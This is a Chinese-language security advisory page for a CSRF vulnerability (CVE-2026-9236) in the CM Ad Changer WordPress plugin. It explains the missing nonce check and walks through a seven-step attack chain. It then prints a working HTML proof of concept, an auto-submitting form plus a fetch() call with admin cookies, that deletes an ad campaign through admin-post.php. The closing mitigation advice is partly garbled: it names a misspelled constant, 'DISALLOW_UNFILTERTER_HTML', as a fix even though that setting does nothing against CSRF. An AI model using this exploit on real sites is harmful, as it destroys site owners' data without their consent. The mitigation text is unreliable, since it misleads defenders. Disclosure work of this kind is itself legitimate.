CVE-2026-9236 WordPress CM Ad Changer插件CSRF漏洞可删除广告活动

漏洞信息

漏洞编号

CVE-2026-9236

漏洞类型

CSRF (跨站请求伪造)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

CM Ad Changer WordPress Plugin

漏洞概述

CVE-2026-9236是WordPress的CM Ad Changer插件中的一个跨站请求伪造(CSRF)漏洞。该插件是一款用于控制和管理网站横幅广告的简单工具。漏洞存在于cmac_campaigns_action函数中，由于缺少正确的nonce验证机制，攻击者可以构造恶意请求诱骗已登录的管理员执行未授权操作。攻击者通过社会工程学手段，如诱导管理员点击恶意链接，即可永久删除任意广告活动及其相关的横幅记录和上传文件。此漏洞影响所有版本至2.0.7版本，CVSS评分4.3，属于中等严重程度。虽然攻击不需要认证权限，但需要管理员交互才能成功实施攻击。

技术细节

漏洞根源在于cmac_campaigns_action函数缺少CSRF令牌(nonce)验证或验证不正确。攻击者可以利用WordPress的REST API或admin-post.php端点构造恶意请求。当管理员被诱骗访问攻击者控制的页面时，浏览器会自动发送携带管理员会话Cookie的请求。由于服务器端未正确验证请求的合法性，攻击者可以执行cmac_campaigns_action函数中的删除操作。具体攻击路径：攻击者构造包含删除命令的表单或AJAX请求，诱使管理员提交。请求会携带管理员的有效会话Cookie，服务器误认为是合法管理员操作。cmac_campaigns_action函数处理请求并执行删除广告活动的数据库操作，同时清理关联的横幅记录和上传文件。整个过程管理员无感知，直到发现广告活动已被删除。

攻击链分析

STEP 1

步骤1

攻击者创建恶意HTML页面，包含自动提交的表单或AJAX请求

STEP 2

步骤2

攻击者通过钓鱼邮件、社交媒体或其他渠道诱骗WordPress管理员访问恶意页面

STEP 3

步骤3

受害者浏览器加载恶意页面，JavaScript自动触发针对目标站点的POST请求

STEP 4

步骤4

请求携带受害者的有效WordPress管理会话Cookie发送到目标站点

STEP 5

步骤5

目标站点服务器接收请求，由于缺少nonce验证，将请求视为合法管理员操作

STEP 6

步骤6

cmac_campaigns_action函数执行删除操作，从数据库删除指定广告活动及其关联数据

STEP 7

步骤7

攻击成功，广告活动及其横幅记录、上传文件被永久删除，管理员可能不知情

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2026-9236 - Delete arbitrary campaign -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2026-9236</title>
</head>
<body>
    <h1>CM Ad Changer CSRF Vulnerability PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in CM Ad Changer <= 2.0.7</p>
    <p>When the admin visits this page, the campaign with ID 1 will be deleted.</p>
    
    <!-- Auto-submit form to delete campaign with ID 1 -->
    <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST">
        <input type="hidden" name="action" value="cmac_campaigns_action">
        <input type="hidden" name="cmac_action" value="delete">
        <input type="hidden" name="campaign_id" value="1">
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=cmac_campaigns">
    </form>
    
    <script>
        // Auto-submit after page load
        document.getElementById('csrfForm').submit();
    </script>
    
    <!-- Alternative: AJAX-based attack (bypasses some CSRF protections) -->
    <script>
        // Alternative PoC using fetch API
        async function exploitCSRF() {
            const targetUrl = 'http://target-site/wp-admin/admin-post.php';
            const formData = new FormData();
            formData.append('action', 'cmac_campaigns_action');
            formData.append('cmac_action', 'delete');
            formData.append('campaign_id', '1');
            
            await fetch(targetUrl, {
                method: 'POST',
                credentials: 'include', // Include admin cookies
                body: formData
            });
        }
        // Uncomment to auto-execute:
        // exploitCSRF();
    </script>
</body>
</html>

影响范围

CM Ad Changer WordPress Plugin <= 2.0.7

防御指南

临时缓解措施

作为临时缓解措施，可采取以下方法：1) 在WordPress配置文件中启用DISALLOW_UNFILTERTER_HTML常量限制管理员权限；2) 限制管理员访问可疑链接；3) 定期备份数据库以便快速恢复；4) 监控admin-post.php的异常请求日志；5) 考虑暂时禁用或删除CM Ad Changer插件直到官方修复发布。